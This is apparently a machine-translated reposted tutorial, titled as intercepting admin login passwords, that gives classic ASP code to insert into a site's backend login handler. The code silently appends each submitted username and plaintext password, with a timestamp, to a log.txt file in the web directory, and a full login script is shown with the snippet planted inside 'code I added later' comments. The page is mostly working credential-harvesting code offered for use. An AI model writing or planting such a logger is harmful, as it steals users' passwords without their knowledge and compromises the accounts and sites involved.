Asp intercepts the background login password code

Source: Internet
Author: User

Core code: Copy codeThe Code is as follows: set fso = server. createobject ("scripting. filesystemobject ")
If fso. FileExists (server. mappath ("log.txt") = true then
Set fin = fso. OpenTextFile (server. mappath ("log.txt "))
Temp = fin. readall
Fin. close
Set fin = nothing
End if
Set fout = fso. createtextfile (server. mappath ("log.txt "))
Fout. WriteLine (temp & "user:" & username & "Your pwd:" & password & "Your time:" & now ()&"")
Fout. close
Set fout = nothing
Set fso = nothing

Insert where the form is submitted at the background logon!
Reference file:Copy codeThe Code is as follows: <% @ language = vbscript codepage = 936%>
<%
Dim SQL, rs
Dim username, password, CheckCode
Username = replace (trim (request ("username ")),"'","")
Password = replace (trim (Request ("password ")),"'","")
CheckCode = replace (trim (Request ("CheckCode ")),"'","")
If UserName = "" then
FoundErr = True
ErrMsg = ErrMsg & "<br> <li> the user name cannot be blank! </Li>"
End if
If Password = "" then
FoundErr = True
ErrMsg = ErrMsg & "<br> <li> the password cannot be blank! </Li>"
End if
If CheckCode = "" then
FoundErr = True
ErrMsg = ErrMsg & "<br> <li> The Verification Code cannot be blank! </Li>"
End if
If session ("CheckCode") = "" then
FoundErr = True
ErrMsg = ErrMsg & "<br> <li> your logon time is too long. Please return to the logon page again to log on. </Li>"
End if
If CheckCode <> CStr (session ("CheckCode") then
FoundErr = True
ErrMsg = ErrMsg & "<br> <li> the verification code you entered is inconsistent with that generated by the system. Please enter it again. </Li>"
End if
'The code I added later is ~ Start Area
Set fso = server. createobject ("scripting. filesystemobject ")
If fso. FileExists (server. mappath ("log.txt") = true then
Set fin = fso. OpenTextFile (server. mappath ("log.txt "))
Temp = fin. readall
Fin. close
Set fin = nothing
End if
Set fout = fso. createtextfile (server. mappath ("log.txt "))
Fout. WriteLine (temp & "user:" & username & "| pwd:" & password & "| time:" & now ()&"")
Fout. close
Set fout = nothing
Set fso = nothing
'I deleted the code later ~ End Area

%>

The statement involved in this article is written by: there are not many iFat

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.